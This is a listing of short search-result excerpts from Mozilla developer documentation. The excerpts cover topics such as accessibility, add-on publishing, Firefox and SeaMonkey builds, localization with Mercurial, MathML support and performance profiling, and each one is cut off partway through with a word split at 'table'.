Accessibility and Mozilla
upport currently coming from gw micro's window-eyes 5.5. we are optimistic that jaws support will catch up this year. in recent articles from both afb's access world and nfb's voice of the nation's blind, reviewers found no significant roadblocks in moving to firefox from internet explorer for screen reader users. in fact, the same keyboard commands are still available, so users can become comfor
table and productive right away.accessibility information for core gecko developersboth end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.accessibility information for ui designers and developerswhen you design user interfaces with...
Index
add-ons, extensions, distribution, publication now your add-on is published on amo, check out the following resources: 681 retiring your extension extensions, webextension, end-of-life, publication there may be occasions where you want to retire one of your extensions. this article suggests the steps you might want to follow, as well as offering some pointers to a sui
table timeline. 682 submitting an add-on add-ons, beginner, tutorial, webextensions this article walks through the process of publishing an add-on. if you just want to get started, head to the submit a new add-on page on amo. 683 source code submission add-ons, extensions, review policy, distribution to complete the review process at addons.mozilla.org (amo), r...
Theme concepts
me with options to share and export a theme. a theme and browser extension functionality cannot be defined in one package, such as including a theme to complement an extension. you can, however, programmatically include a theme in an extension using the theme api. see dynamic themes. defining a theme to create a theme (in this example a simple, single image theme): create a folder in a sui
table location on your computer. add the theme image file to the folder: <mytheme> <your_header_image>.<type> create a file called manifest.json in the folder and edit its content as follows: { "manifest_version": 2, "version": "1.0", "name": "<your_theme_name>", "theme": { "images": { "theme_frame": "<your_header_image>.<type>" }, "colors": { "frame": "#ffffff"...
Adding a new word to the en-US dictionary
process is pretty straight-forward: get a clone of uxp, if you don't already have one, and make sure you can build it successfully. get into the dictionary sources directory using this command: cd extensions/spellcheck/locales/hunspell/dictionary-sources there's a special script used for editing dictionaries. the script only works if you have the environment variable editor set to the execu
table of an editor program; if you don't have it set, you can do editor=vim sh edit-dictionary to edit using vim (or you can substitute some other editor), or you can just do sh edit-dictionary if you have an editor already specified. add and remove words in the dictionary file, then quit the editor. sh merge-dictionaries to process the dictionary changes you've made. move the revised dictionary ...
Adding phishing protection data providers
optional preferences browser.safebrowsing.provider.idnum.reporturl an url used for reporting when users visit phishing pages and whether or not they decided to heed the warning or to ignore it. browser.safebrowsing.provider.idnum.updateurl an url used to request an updated list of phishing sites. the server either provides a full list or incremental updates in order to bring the client's
tables up to date. browser.safebrowsing.provider.idnum.reportgenericurl not currently used; intended for use in reporting other issues with the phishing protection service. browser.safebrowsing.provider.idnum.reporterrorurl an url to which the user is directed in order to report a safe page that is incorrectly being reported as a phishing site. browser.safebrowsing.provider.idnum.reportph...
A bird's-eye view of the Mozilla framework
uld like to ask the nsirdfnode whether its supports nsirdfliteral. an nsirdfnode must be an nsirdfliteral or an nsirdfresource. the link is a literal, so the client wants nsirdfliteral. since all xpcom interfaces inherit the base interface nsisupports, the client can ask whether nsirdfnode supports nsirdfliteral by calling nsirdfnode.queryinterface(), a method in the nsisupports interface. [scrip
table, uuid(00000000-0000-0000-c000-000000000046)] interface nsisupports { void queryinterface(in nsiidref uuid, iid_is(uuid),retval] out nsqiresult result); [noscript, notxpcom] nsrefcnt addref(); [noscript, notxpcom] nsrefcnt release(); }; the uuid parameter to queryinterface() is the iid uniqely identifying the interface. if nsirdfnode doesn't support nsirdfliteral, it returns...
Testopia
rface for high level objects. testopia allows users to login to one tool and uses bugzilla group permissions to limit access to modifying test objects. testopia allows users to attach bugs to test case run results for centralized management of the software engineering process. requirements as our development has moved forward, we have decided to try to keep abreast of the latest s
table release from bugzilla (currently 5.0). this gives us a s
table code base to work from. developing plugins or extensions for any software is like trying to hit a moving target. this decision allows us to focus our time more on releasing new features often and early rather than back porting. however, this means that most major feature will not be back ported to earlier versions unless and until we h...
What to do and what not to do in Bugzilla
more people with a similar/the same setup can't reproduce the bug and the bug is only seen by the bug reporter. in this case you shouldn't just mark it wfm instantly, but ask the reporter for more details first. when marking it wfm you should tell the bug reporter that they should reopen the bug if they can still see it with a recent build. the build the bug is reported against is more than one s
table release old and the bug can't be reproduced with a current build. the bug reporter has not responded to questions for one month and the bug can't be reproduced with a current build. the bug reporter reports that they can no longer see the bug and no other people report that they are still seeing the bug. resolving bugs as incomplete the problem is vaguely described with no steps to reproduce...
Creating Sandboxed HTTP Connections
hannel.notificationcallbacks = listener; gchannel.asyncopen(listener, null); function streamlistener(acallbackfunc) { this.mcallbackfunc = acallbackfunc; } streamlistener.prototype = { mdata: "", // nsistreamlistener onstartrequest: function (arequest, acontext) { this.mdata = ""; }, ondataavailable: function (arequest, acontext, astream, asourceoffset, alength) { var scrip
tableinputstream = components.classes["@mozilla.org/scrip
tableinputstream;1"] .createinstance(components.interfaces.nsiscrip
tableinputstream); scrip
tableinputstream.init(astream); this.mdata += scrip
tableinputstream.read(alength); }, onstoprequest: function (arequest, acontext, astatus) { if (components.issuccesscode(astatus)) { // request was successfull thi...
Debugging
analysis system that can detect defects in firefox. gecko logging using old-school logging to try to track down what's going on. debugging specific parts of the mozilla codebase debugging opengl if you're working on code that involves opengl calls, and need to debug it, you can turn on a special opengl debugging mode. debugging frame reflow and debugging
table reflow notes on debugging issues in gecko's layout engine. miscellaneous debugging safari some tips for debugging safari debugging chrome some tips for debugging chrome debugging internet explorer some tips for debugging internet explorer providing useful information to the mozilla developers how to get a stacktrace fo...
Building Firefox with Debug Symbols
use the following mozconfig settings to do a build with symbols: building firefox with symbols there is a single configure option to enable building with symbols on all platforms. this is enabled by default so unless you have explcitly disabled it your build you should include symbols. ac_add_options --enable-debug-symbols this can optionally take an argument for the type of symbols that need to be produced (like "-g3"). by default it uses "-g" on linux and macos. ...
Simple SeaMonkey build
create the comm-central directory in %userprofile% which may be some subfolder of c:\documents and settings\ on systems upgraded from xp or below. the space in this directory name, or in your user name if it contains one, will cause the configure script to break. to (possibly) fix this, cd to a dir without spaces before doing the "hg clone" command above. running seamonkey the seamonkey execu
table can be found in obj-sm-release/dist/bin/ (used to be obj-sm-release/mozilla/dist/bin/) on windows and linux and in obj-sm-release/dist/seamonkey.app/contents/macos/ on mac. how to build again later in your comm-central directory, run these commands: # get the latest source python client.py checkout then just re-run the "(moz)make -f client.mk" command above. (moz)make will only recompile fil...
Simple Sunbird build
onfig # ...quickly. # build make -f client.mk for a debug build, you need different configuration options in your .mozconfig file. this requires more disk space, about 2.5 gb. mk_add_options moz_objdir=@topsrcdir@/objdir-sb-debug ac_add_options --enable-application=calendar ac_add_options --enable-debug ac_add_options --disable-optimize running sunbird the sunbird execu
table can be found in objdir-sb-release/mozilla/dist/bin/ (on mac, objdir-sb-release/dist/calendar.app/contents/macos/). building sunbird and lightning if you've set up you build environment as above, then all you need to do is: echo 'ac_add_options --enable-calendar' >> .mozconfig or just add the ac_add_options --enable-calendar line to your .mozconfig with your favourite editor. then just re-run th...
Eclipse CDT Manual Setup
ing to cheat and set eclipse's "build" action to run jwatt's just-print-mozilla-build.py script instead. this script will complete in about 30 seconds on a warm tree (files cached in ram) if your object directory is up to date, although eclipse will take several minutes to process the "build output" that it produces. download just-print-mozilla-build.py and change its permissions to make it execu
table ('chmod a+x just-print-mozilla-build.py'). if you don't put just-print-mozilla-build.py somewhere in your path, then go back to the initial project properties section where you set just-print-mozilla-build.py and specify its absolute path instead of just its name. now invoke the script by clicking the build button (the button with the hammer symbol) or by selecting "project > build project" fro...
Gecko Logging
og module lazylogmodule defers the creation the backing logmodule in a thread-safe manner and is the preferred method to declare a log module. multiple lazylogmodules with the same name can be declared, all will share the same backing logmodule. this makes it much simpler to share a log module across multiple translation units. lazyloglodule provides a conversion operator to logmodule* and is sui
table for passing into the logging macros detailed below. note: log module names can only contain specific characters. the first character must be a lowercase or uppercase ascii char, underscore, dash, or dot. subsequent characters may be any of those, or an ascii digit. #include "mozilla/logging.h" static mozilla::lazylogmodule sfoolog("foo"); logging interface a basic interface is provided in th...
Interface Compatibility
xplicitly shipped with mozilla prefixes as a technology preview. this includes css properties that begin with the -moz- prefix (e.g. -moz-box-shadow), or javascript apis that begin with the moz prefix (e.g. canvasrenderingcontext.mozdrawtext). these apis may be removed or replaced with standard interfaces in future releases of mozilla. jetpack the jetpack sdk and apis are not yet complete. the s
table version 1.0 of the jetpack sdk is planned for later in 2010. documented apis which are shipped as part of the jetpack sdk are designed to work in future versions of firefox. achieving this compatibility may require rebuilding the extension with a new version of the jetpack sdk. javascript/xul interfaces traditional extensions written using xul overlays and xpcom have access to the full power of t...
Developer guide
d utilities to help you make your code perform well (and to play nicely with others). the mozilla platform information about the workings of the mozilla platform. mozilla much more additional information about mozilla coding practices. adding apis to the navigator object how to augment the window.navigator object with additional apis. interface compatibility guidelines for modifying scrip
table and binary apis in mozilla. customizing firefox information about creating customized versions of firefox. task-graph generation what controls the jobs that run on a push to version control? how can you change that? obsolete build caveats and tips a place to put build tips which are no longer relevant to building the latest version of the code from main but are relevant when building old c...
Displaying Places information using views
ecific columns of your tree to specific properties of the result. it does so by recognizing certain magic values of the id attribute on your treecol elements. a property in the result is bound to a column via that column's id attribute. for example, by setting a column's id to "title", you tell the view to display the title of the nsinavhistoryresultnode of each row in that column. ...
Index
ocol firefox, guide, mozilla, protocols there is a lot of useful information about firefox hidden away behind the about: url protocol. the most useful is the url about:config, which displays preferences and settings that can be inspected and changed. 141 index firefox, index, mozilla found 168 pages: 142 linux compatibility matrix the following
table lists the available library versions for the mozilla.org-distributed firefox builds dependencies, and/or to build firefox. 143 multiple firefox profiles beginner, firefox, guide, intro, profiles, qa a profile in firefox is the collection of settings, customizations, add-ons, and other personalizations that a user has made or installed into their copy of firefox. you can find ...
Performance
but care must be taken to not leak references to the frame script global when it is passed into a jsm. alternatively the frame's unload event or weak maps can be used to ensure that frames can be cleaned up when their respective tab is closed. store heavyweight state once per process bad: // addon.js var main = new myaddonservice(); main.onchange(statechange); fun...
Storage access policy: Block cookies from trackers
if a third-party domain on your site were classified as a tracker? we’ve added a preference that allows you to add custom domains to the tracking protection url classifier. to do so: type about:config in your address bar. if you are presented with a page that warns you "this may void your warranty!", click "i accept the risk!" search for the preference name "urlclassifier.trackingannotation
table.testentries". if the preference already exists, edit the preference value. if the preference does not exist, click "string" and then "+" to create a new preference. for the preference value enter comma separated origins that you’d like to have classified as trackers. e.g. "example.net,example.org". warning: be sure to remove these entries after you have finished testing. faq this cooki...
Firefox
interface where web sites are listed for the user to choose a destination to visit or a site to manage in some way. one example is the new tab page, which includes a "top sites" section showing sites you visit that firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space. linux compatibility matrixthe following
table lists the available library versions for the mozilla.org-distributed firefox builds dependencies, and/or to build firefox.multiple firefox profilesa profile in firefox is the collection of settings, customizations, add-ons, and other personalizations that a user has made or installed into their copy of firefox. you can find details about profiles on mozilla's end-user support site.performance bes...
Firefox Operational Information Database: SQLite
al information about websites visited and browser configuration is stored in relational databases in sqlite used by firefox. the sqlite manager add-on allows convenient browsing of this information. (install the sqlite mangager add-on, click tools -> sqlite manager. ...
mozbrowsercaretstatechanged
aret. zoomfactor a number defining the current zoom factor in the browser <iframe>. collapsed a boolean indicating whether the current selection is collapsed (true) or not (false.) caretvisible a boolean indicating whether the caret is currently visible (true) or not (false.) selectionvisible a boolean indicating whether the current selection is visible (true) or not (false.) selectionedi
table a boolean indicating whether the current selection is edi
table (true) or not (false.) selectedtextcontext a domstring containing the currently-selected text content. senddocommandmsg a method allowing you to issue a command via an anonymouse function, i.e. function(command). possible values are cut, copy, paste and selectall. examples var browser = document.queryselector("iframe"); brows...
mozbrowserloadend
the mozbrowserloadend event is fired when the browser <iframe> has finished loading all its assets, or has failed to load. ...
Getting from Content to Layout
which trigger the reprocessing of relevant css selectors and any restyling that needs to occur. adds and removes frames to make the frame tree a proper representation of the new content tree. restyling the restyletracker maintains a list of restyles to process. elements that need to be restyled are marked with flags (e.g element_has_pending_restyle) and are stored in the mpendingrestyles hash
table. a list of restyle roots (places in the content tree where all descendants need to be restyled but nothing on the parent chain does) are also stored. the restyles accumulated in the restyletracker are dispensed with from various method on the presshell that involve reflow and flushing notifications. frame construction regardless of whether content nodes are inserted/appended/deleted, frames c...
Getting Started with Chat
l or a non-secure connection, and you can configure the client to automatically connect to a server and join a particular set of channels when you start the client. the following are some other options available to you: windows mac linux colloquy ● irssi ● ● ●* xchat ● ○ ● key: ● — binary or execu
table program available ○ — only available by downloading and compiling source code ●* — binary or execu
table may be available. if not, you'll have to download source code and compile. note: for a complete list of irc clients go here. web-based clients there are also a few web-based clients which allow connecting to irc by clicking on irc:// links. one of the simplest web-based clients i...
Hacking with Bonsai
which records if the tree is open or closed what the date stamp of the last known good tree is who is on the hook for the current tree before the tree is opened, the list of checkins that happened when the tree was closed is reviewed to insure that only build related checkins took place. before the tree is opened, there is a car pool lane where people who have been off on a branch and need a s
table tip to merge in can pull the tip for their merge. these people, when they check in, will be "on the hook" for the next day's build. the car pool lane is only available to those who arrange access ahead of time with the release team. when the tree is re-opened, the web page is updated and the hook is cleared. use the bonsai query tool to see what's been checked in to the tree lately and to look at...
How to add a build-time test
writing a test is good, but it is even more helpful if that test gets executed. we have various automation tools that help make this possible. the first link, though, is the "check" target in a makefile. if a test is added, that test or its directory needs to be mentioned in a makefile.in file somewhere so that the build system knows about it. standalone execu
tables to add a test that is written in c or c++ and which is called as a standalone execu
table, a few things must be done. for standalone execu
tables, if one sets up the right variables, then the rules.mk file will do lots of magic and most of the heavy lifting. a simple example of adding a test is in . note that the following variables are supplied by the rules.mk file: cppsrcs, simple_programs, run_test_program. xpcshell tests h...
How to get a stacktrace with WinDbg
e any official nightly build or released version of firefox from mozilla. you can find the latest trunk nightly builds under http://ftp.mozilla.org/pub/mozilla.o.../latest-trunk/. debugging to begin debugging, ensure that firefox is not already running and open windbg from the start menu. (start->all programs->debugging tools for windows->windbg) next, open the "file" menu and choose "open execu
table...". in the file chooser window that appears, open the firefox.exe execu
table in your firefox program folder (c:\program files\mozilla firefox). you should now see a "command" text window with debug output at the top and an input box at the bottom. before debugging can start, several commands must be entered into the one-line input box at the bottom of the command window. tip: all commands mus...
Creating a New Protocol
sses pnewprotocolparent and pnewprotocolchild. it must implement abstract methods for receiving the appropriate messages on each side. the method signatures can be read from the generated pnewprotocolparent.h and pnewprotocolchild.h headers. writing the tests protocols which are managed by pbrowser must be tested using the mochitest-chrome test framework with a <browser remote="true">. it is accep
table to use synchronous calls on jpw wrappers for testing purposes. it may be possible to test protocols unrelated to a particular window using the xpcshell testing framework, which has additional primitives in electrolysis for launching and running js commands in a content process. ...
IPDL Type Serialization
ve a serializer for a type, you can serialize a collection of it (ex: an nstarray<examplestruct>) by simply declaring "using nstarray<examplestruct>;' in your ipdl file, then using it in a ipc method. serializers and deserializers are security-sensitive and must always receive two reviews from module owners who understand ipc serialization well. if in doubt, please ask for help! it is never accep
table to serialize/deserialize raw pointer values; if you are tempted, you probably should create a subprotocol for that data, so that ipdl can check the values and lifetime. ...
Widget Wrappers
appers) of the widget. this array is not live. areatype the type of the widget's current area isgroup true, will be false for wrappers around single widget nodes source for api-provided widgets, whether they are built-in to firefox or add-on-provided disabled for api-provided widgets, whether the widget is currently disabled. ...
CustomizableUI.jsm
xtension is compatible with versions of firefox below 29, i.e. before customizableui was introduced, then you have to make sure that in case of running on newer browsers, xul overlay does not contain description of the button that you are creating with createwidget() method. otherwise, conflicting static xul overlay button and dynamic customizableui buttons might cause the created button to be uns
table or create a double button. to avoid that, update your chrome manifest file with links to two different versions of xul overlay, using manifest flags. note: unlike button described with xul overlay, widget-button created via createwidget() method cannot have references to other overlay elements transferred directly as parameters. for example, if there is a need to create a button with dynamically...
Following the Android Toasts Tutorial from a JNI Perspective
oadclass we add a key-value pair, with the key being static_methods and methods and the value being an array. var toast = jni.loadclass(my_jenv, sig.toast.substr(1, sig.toast.length - 2), { static_methods: [ { name: 'maketext', sig: '()' } ], methods: [ { name: 'show', sig: '()' } ] }); the sig of methods is always in the format of "method format" from our types
table above. the reason is that methods accept arguments and return something. we need to declare now the arguments and return type for each of the methods. the documentation says maketext takes three arguments, the types are context, int, and int and returns a toast. for example, let's declare this with strings: { name: 'maketext', sig: '(landroid/content/context;ii)landroid/widget/toast;' } we see...
OS.File for the main thread
flag. var outfile = yield os.file.open("file.tmp", {write: true, append: false}, options); try { // ... do something with that file } finally { yield outfile.close(); } }); example of opening file and keeping it locked this uses tasks.jsm to open a file and keep it open. when you are done with it, like in shutdown of restartless add-on, you should close the file so it becomes edi
table again. let options = { winshare: 0 // exclusive lock on windows }; if (os.constants.libc.o_exlock) { // exclusive lock on *nix options.unixflags = os.constants.libc.o_exlock; } let file = yield os.file.open(..., options); then when you want to unlock the file so it can be edited from other places, close the file. file.close(); this example is from stackoverflow: os.file check last modif...
OSFile.jsm
al, such as closing a file, or checking when it was last modified. if the operation is called on the main thread, this means that the whole user experience is stuck for several seconds, which is quite bad. why is i/o efficiency important? i/o efficiency is all about minimizing the number of actual i/o calls. this is critical because some platforms have extremely slow storage (e.g. smartphones,
tablets) and because, regardless of the platforms, doing too much i/o penalizes not just your application but potentially all the applications running on the system, which is quite bad for the user experience. finally, i/o is often expensive in terms of energy, so wasting i/o is wasting battery. consequently, one of the key design choices of os.file is to provide operations that are low-level enough t...
Promise
nnot be inspected synchronously from code, without calling the then() method. to help with debugging, only when inspecting a promise object manually, you can see more information as special properties that are inaccessible from code (this, at present, is implemented by randomizing the property name, for the lack of more sophisticated language or debugger support). these code-inaccessible, inspec
table properties are: {{private:status}}: 0 for pending, 1 for fulfilled, or 2 for rejected. {{private:value}}: fulfillment value or rejection reason, for fulfilled or rejected promises only. {{private:handlers}}: array of objects holding references to functions registered by the then() method, for pending promises only. examples see the examples page. handling errors and common pitfalls yo...
WebRequest.jsm
from the listener that contains instructions for what the browser should do with this request. there are four things you can do with a request: cancel it redirect it modify request headers modify response headers. to perform one of these operations, include a property with the appropriate name in the object returned from the listener, and assign it the desired value, as detailed in the
table below: operation available in return property cancel onbeforerequest cancel boolean value set to true. see some examples of canceling requests. redirect onbeforesendheaders redirecturl string set to the url to redirect the request to. see some examples of redirection. modify request headers onbeforesendheade...
Bootstrapping a new locale
ists (firefox 3.5: ff35.phaselist, firefox 3.6: ff36.phaselist). description of phases. land your translated files one by one, making sure it follows the *mozilla-1.9.2* structure. this will familiarize you with our "hg" commands and will get us something that we can import easily when you are done. working with bit bucket before a team becomes official, we like to get the localizers comfor
table with the hg commands that allow for cloning, pulling, committing, and pushing work to an experimental repository. we use a web service called bit bucket to start the learning process. to begin, contact the l10n-drivers to let them know that you are interested in starting a localization. the l10n-drivers will help set up an experimental hg repository in bit bucket. you will need to create an ac...
Index
s by focusing on how to localize two of the primary types of localization files (dtd and properties) used in the mozilla source code. with that document, users can see immediately two localized files in their user interface by following closely and carefully the steps to create a language pack or a binary file that is ready for installation. repeating the process allows a localizer to create a tes
table package to see his or her work as they progress to a final version. 28 mozilla l10n style guide localization cultural references, idioms, and slang require a full understanding of these references between the cultures of your source and target languages. an example of a cultural reference in english would be the phrase, "kick-off meeting." this is a reference that uses an ame...
Localizing with Mercurial
illabuild package. this will not only install hg, but also all the tools required to build mozilla products on windows. trust us, you'll want this eventually. for a graphical interface, you may want to install tortoisehg, which integrates with your windows explorer shell. it also installs the command line utility. part of the command line hg install for windows involves making sure the hg execu
table is in the system's %path% variable (tortoisehg doesn't need this step). use the add_path.exe utility found in c:\mozilla-build\hg to do this. ps c:\users\your_id> cd c:\mozilla-build\hg ps c:\mozilla-build\hg> .\add_path.exe /result . note the dot (".") at the end of the second command, which means the current directory. if the utility modified your %path% successfully, a dialog will open sayi...
Localizing with Mozilla Translator
e ''root'' directory will be ''.../locales/en-us''. frenchmozilla has just [http://groups.google.es/group/mozill...eaf9f1322fa2fb announced] they are providing an en-us only mercurial repository comprising both mozilla-central and comm-central. if you are happy with a non-official solution (it's not like if they were third-party, they are your french equals!) ;-) you have a pretty easy and comfor
table solution. if you are using a filesystem with symbolic links support (i.e., linux or mac), you can create symbolic links in a separate directory so it contains just the locale part. thanks to alexandru szasz, from narro, [http://groups.google.com/group/mozil...bbffa5402ec819 for this inspiration]. see this example for browser. for the last two options, you should be able to adjust your current...
Localizing without a specialized tool
s by focusing on how to localize two of the primary types of localization files (dtd and properties) used in the mozilla source code. with that document, users can see immediately two localized files in their user interface by following closely and carefully the steps to create a language pack or a binary file that is ready for installation. repeating the process allows a localizer to create a tes
table package to see his or her work as they progress to a final version. if you choose to localize mozilla with nothing more than a text editing application and not a specialized tool, this document (along with create a new localization) will enable you to learn just what needs to be done. before we start, did you make sure to install mercurial and confirm that you have set up the proper build environ...
Initial setup
is necessary to enable you to see your work within a mozilla application. you can install either by searching for them in firefox's add-ons manager or following these links. a solid, unicode-based, text editor here are some suggestions: windows: notepad++ or notepad2 gnu/linux: vim, gedit or kate mac os x: textwrangler gnu make make is a tool which controls the generation of execu
tables. you can find version 3.79.1 or higher here. unfortunately, other varieties of make won't do. end of initial setup now that you've finished your initial setup, it's time for the best part: translating! « previousnext » ...
QA phase
ortant! we would really hate to see you lose any of it. after you test your localization, you should send it to a remote repository, which will serve as a backup for your work and will let others follow your progress. we're going to go through the process below. the official localization teams use repositories at hg.mozilla.org. before a team becomes official, we like to get the localizers comfor
table with the hg commands that allow for cloning, pulling, committing, and pushing work to an experimental repository. we use a web service called bit bucket to start the learning process. note: you must have mercurial configured before you begin. that step is back on the initial setup page. if you haven't done that yet, don't worry, we'll wait for you! pushing to your repository there are a coupl...
Creating localizable web content
n times explaining how to achieve something in a desktop or web application. as such, they should be perceived as an essential part of the content and should be localized. image 1. bad. if the screenshot shows the application that the website directly relates to (firefox on mozilla.com/firefox, personas on getpersonas.com), try to use screenshots from the localized version. image 2. accep
table. if however the screenshot shows a third-party application or website, it's accep
table to use the english version if it's not available in the target language. ...
Localization formats
html/php maybe you are designing a project that has relatively small translation needs like three to four lines (or more) of...
Fonts for Mozilla 2.0's MathML engine
r or get them from this zip archive. on android, firefox os and other platforms where the instructions above do not work: install the mathml-fonts add-on. this requires gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) or higher. overview mathematical formulas make use of various symbols represented by specific unicode characters. mozilla can display any of these symbols provided sui
table unicode fonts are installed. furthermore, in accordance with the w3c css2 recommendation on fonts, authors can specify an ordered list of particular fonts which they prefer (using the font-family property of css), with the assurance that mozilla's font engine will hunt for alternate fonts whenever their specified fonts are not found on a particular user's system. if no appropriate font is ultimat...
MathML3Testsuite
g" is not enough to conclude on the success/failure of the test. so please do not edit these pages if you are not able to explain gecko's rendering. however, any report is welcome on the tracking bug for the mathml testsuite. ...
MathML Screenshots
screenshot of start screenshot of basics. screenshot of mfrac. this page also shows how mathml can be used in combination with other web features such as background images at a desired opacity. screen captures of m
table, showing typesetting mathematical constructs in 2d. screenshot of roots and physics equations (maxwell's equations and einstein's field equations). this screen capture demonstrates advanced layout with m
table and stretchy operators. you can get the mathml source of a formula or a selected expression. the choice is yours! mathml in blog posts and emails. ...
Mozilla MathML Status
menclose implemented. script and limit schemata element [- attribute] notes msub implemented. msup implemented. msubsup implemented. munder implemented. mover implemented. munderover implemented. mmultiscripts implemented. tabular math element [- attribute] notes m
table implemented. m
table - alignmentscope not implemented. see bug 122253. m
table - columnspacing, rowspacing, framespacing implemented. see bug 330964. m
table - columnwidth not implemented. see bug 958953. m
table - equalrows, equalcolumns not implemented. see bug 958954. m
table - side, minlabelspacing not implemented. see bug 356870. ...
Mozilla MathML Project
ozilla sample mathml documents screenshots mathml start page - with translations in different languages ( arabic, chinese, hebrew, thai) mathml basics - document tailored to display correctly with just the symbol font that is pre-installed by default on most os configurations. mathml torture test - comparative testing of mathml rendering against tex. demo of some mathml tags: mfrac, mo, m
table, mspace, mmultiscripts, msqrt-mroot. mathml extras - technology demonstration of some interesting upshots from building natively upon the browser environment. various mathml tests - these pages were imported from layout/mathml/tests/. blog with comments that include mathml. create mathml documents authoring mathml editors converters stylesheets original document information autho...
Using the viewport meta tag to control layout on mobile browsers
scale=1, maximum-scale=1"> suppress the small zoom applied by many smartphones by setting the initial scale and minimum-scale values to 0.86. the result is horizontal scroll is suppressed in any orientation and the user can zoom in if they want to. <meta name="viewport" content="width=device-width, initial-scale=0.86, maximum-scale=3.0, minimum-scale=0.86"> common viewport sizes for mobile and
tablet devices if you want to know what mobile and
tablet devices have which viewport widths, there is a comprehensive list of mobile and
tablet viewport sizes here. this gives information such as viewport width on portrait and landscape orientation as well as physical screen size, operating system and the pixel density of the device. specifications specification status comment ...
Mozilla Development Strategies
if you don't have editbugs privileges on bugzilla). this puts the bug on the radar of our documentation team to ensure that once the bug is resolved, the documentation will be updated appropriately. if you don't mark the bug, your work might go unnoticed by the docs team! of course, our documentation is a wiki; you can really help by updating the documentation yourself. even if you're not comfor
table with your writing skills, keep in mind that our helpful, happy documentation gnomes will follow along behind you and clean up for you. note: you can mark the bug with this keyword at any time; you don't need to wait until it's actually fixed. take extra time to do it right the first time it's also better to come up with one really solid, well tested, well commented, clean, easy to maintain pie...
Mozilla projects on GitHub
. this is a great place to start looking for any projects not listed below. projects this listing covers the larger-scale and more important mozilla projects on github. it does not include everything since it's hard to keep track of all the smaller projects. look to github for the most complete list of mozilla projects on github. project name description pdf.js a por
table document format (pdf) reader written entirely in javascript. shumway shumway is a flash vm and runtime written in javascript. addon-sdk the mozilla add-on sdk. asknot the what can i do for mozilla web site, which helps you figure out how you can contribute to mozilla. bugsahoy a web page to help new mozilla contributors identify bugs to fix. ...
Mozilla Style System
processor for all author css style sheets. there is also a style rule processor for style attributes (which contain css declarations) and one for presentational attributes in html. the methods on nsistyleruleprocessor allow the front end to ask the back ends for the style data that applies to a given element or pseudo-element, in the form of style rules. nsistylerule an nsistylerule is animmu
table set of css property-value pairs. for css style sheets, they correspond to css's concept of rules. however, they also exist for the other types of rule processors. when script dynamically changes the data represented by a css style rule, we create a new nsistylerule object; keeping the old one around briefly helps to determine what changed and how we need to handle that change. computed style (f...
Mozilla Style System Documentation
style context management a style context (class nsstylecontext, currently also interface nsistylecontext although the interface should go away when all of the style systems can be moved back into the layout dll) represents the style data for a css formatting object. in the layout system, these formatting objects are described as frames (interface nsiframe), although a pair of frames represents
table formatting objects. the css specification describes formatting objects that correspond to elements in the content model and formatting objects that correspond to pseudo-elements. (mozilla has a bunch of its pseudo-elements that are not in the css specification.) we also create style contexts for some things that are not css formatting objects: text nodes and placeholder frames. these three types...
JS::PerfMeasurement
in their specification; for instance, we can't tell you exactly which level of cache you get misses for if you measure cache_misses. we also can't guarantee that all platforms will support all event types, once we have more than one back end for this interface. here is the complete c++-level api: perfmeasurement::eventmask this is an enumeration defining all of the bit mask values in the above
table. you bitwise-or the ones you want together and pass them to the constructor. perfmeasurement::all in a constructor call, this special value means "measure everything that can possibly be measured." perfmeasurement::num_measurable_events this constant equals the total number of events defined by the api - not necessarily the total number of events that a particular os allows you to measure. (at ...
Memory Profiler
file while recording is stored in memory in a very compact format. it's supposed to profile a very long time period without problem. timeline view this view shows the allocation event across the period of time. it shows the overall memory usage history. red is allocate and blue is deallocate. rank-list view and tree view the rank-list view shows top functions that are most memory eager. the
table could be sorted according to the 6 measurements: {retained, allocated, peak} x {self, inclusive}. the tree view shows functions as call trees. each alloctaion root could be expanded to leaf functions that actually allocates memory. contribute the memory profiler project page is at https://wiki.mozilla.org/memoryprofiler. ...
Memory reporting
ride the corresponding methods in b. on supporting compilers it gets expanded to the override keyword. it helps prevent accidentally having small differences in the function signatures (e.g. forgetting a const) that prevent the overriding from happening. other considerations a number of the existing basic data structures already have sizeof{in,ex}cludingthis functions, e.g. nstarray and nsthash
table. nsthash
table's functions take an extra argument which is a pointer to a function that measures the memory usage of any structures pointed to by entries in the hash
table. sometimes you may need variations on the above forms. for example, if you have a function that just measures one member mfoo of an object, it might be called sizeoffoo. try to make the names descriptive enough that it's clea...
Power profiling overview
ining insight into how a program can reduce power consumption. most profiling tools provide at least some proxy measurements. hybrid proxy measurements these are combinations of proxy measurements. the combinations are semi-arbitrary, they amplify the unreliability of proxy measurements, and unlike non-hybrid proxy measurements, they don't have a clear physical meaning. avoid them. the most no
table example of a hybrid proxy measurement is the "energy impact" used by os x's activity monitor. ways to user power-related measurements low-context measurements most power-related measurements are global or per-process. such low-context measurements are typically good for understand if power consumption is good or bad, but in the latter case they often don't provide much insight into why the pro...
Profiling with Xperf
\to\objdir\dist\bin to _nt_symbol_path. as with all windows paths, the symbol path uses semicolons (;) as separators. make sure you select the trace -> load symbols menu option in the windows performance analyzer (xperfview). there seems to be a bug in xperf and symbols; it is very sensitive to when the symbol path is edited. if you change it within the program, you'll have to close all summary
tables and reopen them for it to pick up the new symbol path data. you'll have to agree to a eula for the microsoft symbols -- if you're not prompted for this, then something isn't configured right in your symbol path. (again, make sure that the directories exist; if they don't, it's a silent error.) quick start all these tools will live, by default, in c:\program files\microsoft windows performance ...
Profiling with the Gecko Profiler and Local Symbols on Windows
indows should work out of the box, with full symbol information. in the past you had to need to run mach buildsymbols manually, but this is no longer needed. the profiler automatically reads symbols from the pdb files that are generated during the build process. you probably need a 64 bit build of firefox for this to work, though. it looks like we consume too much memory when creating the symbol
table for this to work in 32 bit firefox builds. unfortunately, 32 bit is still the default when building firefox locally. you need to add the lines ac_add_options --target=x86_64-pc-mingw32 and ac_add_options --host=x86_64-pc-mingw32 to your mozconfig in order to build a 64 bit build of firefox. profiling local talos runs if you would like to use the gecko profiler with a local talos run of a local ...
powermetrics
this document describes the version of powermetrics that comes with mac os 10.10. the one that comes with 10.9 is less powerful. note: the power profiling overview is worth reading at this point if you haven't already. it may make parts of this document easier to understand. ...
Performance
